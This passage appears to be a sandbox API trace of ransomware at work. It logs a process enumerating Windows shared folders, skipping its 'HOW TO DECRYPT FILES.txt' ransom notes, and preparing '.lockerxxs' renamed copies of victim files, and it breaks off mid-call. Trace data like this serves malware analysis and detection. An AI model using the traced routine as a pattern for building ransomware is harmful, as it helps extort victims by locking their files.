lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" [0076.427] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="" [0076.427] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0076.427] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0076.427] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\", lpString2="Roses.jpg" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" [0076.427] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg", pszSpec="*.ems") returned 0 [0076.428] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" [0076.428] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" [0076.428] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg.") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg." [0076.428] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg.lockerxxs") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg.lockerxxs" [0076.428] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.428] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4222b4c4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x4222b4c4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x42016184, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0076.428] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.428] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Shades of Blue.htm") returned -1 [0076.428] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Shades of Blue.htm") returned -1 [0076.428] lstrcmpiA (lpString1="", lpString2="Shades of Blue.htm") returned -1 [0076.428] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned="Roses.jpg" [0076.428] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" [0076.428] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="" [0076.428] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0076.428] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0076.428] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\", lpString2="Shades of Blue.htm" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" [0076.428] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm", pszSpec="*.ems") returned 0 [0076.428] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" [0076.429] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" [0076.429] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm.") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm." [0076.429] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm.lockerxxs") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm.lockerxxs" [0076.429] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.429] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42251624, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42251624, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x82949f3c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0076.429] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.429] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ShadesOfBlue.jpg") returned -1 [0076.429] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ShadesOfBlue.jpg") returned -1 [0076.429] lstrcmpiA (lpString1="", lpString2="ShadesOfBlue.jpg") returned -1 [0076.429] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm") returned="Shades of Blue.htm" [0076.429] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" [0076.429] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="" [0076.429] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0076.429] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0076.429] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\", lpString2="ShadesOfBlue.jpg" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" [0076.429] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg", pszSpec="*.ems") returned 0 [0076.429] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" [0076.429] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" [0076.429] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg.") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg." [0076.430] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg.lockerxxs") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg.lockerxxs" [0076.430] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.430] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42251624, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42251624, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x42062444, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0076.430] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.430] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Soft Blue.htm") returned -1 [0076.430] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Soft Blue.htm") returned -1 [0076.430] lstrcmpiA (lpString1="", lpString2="Soft Blue.htm") returned -1 [0076.430] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned="ShadesOfBlue.jpg" [0076.430] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" [0076.430] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="" [0076.430] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0076.430] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0076.430] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\", lpString2="Soft Blue.htm" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" [0076.430] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm", pszSpec="*.ems") returned 0 [0076.430] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" [0076.430] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" [0076.430] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm.") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm." [0076.431] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm.lockerxxs") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm.lockerxxs" [0076.431] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.431] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42277784, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42277784, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x829961fc, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0076.431] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.431] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SoftBlue.jpg") returned -1 [0076.431] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SoftBlue.jpg") returned -1 [0076.431] lstrcmpiA (lpString1="", lpString2="SoftBlue.jpg") returned -1 [0076.431] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned="Soft Blue.htm" [0076.431] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" [0076.431] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="" [0076.431] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42277784, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42277784, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x420ae704, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0076.431] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.431] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Stars.htm") returned -1 [0076.431] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Stars.htm") returned -1 [0076.431] lstrcmpiA (lpString1="", lpString2="Stars.htm") returned -1 [0076.432] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned="SoftBlue.jpg" [0076.432] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" [0076.432] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="" [0076.432] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4229d8e4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x4229d8e4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x829bc35c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0076.432] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.432] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Stars.jpg") returned -1 [0076.432] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Stars.jpg") returned -1 [0076.432] lstrcmpiA (lpString1="", lpString2="Stars.jpg") returned -1 [0076.432] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned="Stars.htm" [0076.432] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" [0076.432] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="" [0076.432] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4229d8e4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x4229d8e4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x829bc35c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 0 [0076.432] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0076.433] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd6e32460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6e32460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f496a, dwReserved1=0x3, cFileName="TextConv", cAlternateFileName="")) returned 1 [0076.433] lstrcmpA (lpString1=".", lpString2="TextConv") returned -1 [0076.433] lstrcmpA (lpString1="..", lpString2="TextConv") returned -1 [0076.433] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\*.*") returned="*.*" [0076.433] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd6e32460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6e32460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0076.439] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.439] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd6e32460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6e32460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.439] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.439] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.440] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0076.440] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0076.440] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0076.440] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\*.*") returned="*.*" [0076.440] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.441] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.441] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0076.441] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.441] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.441] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 0 [0076.441] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0076.442] FindNextFileA (in: 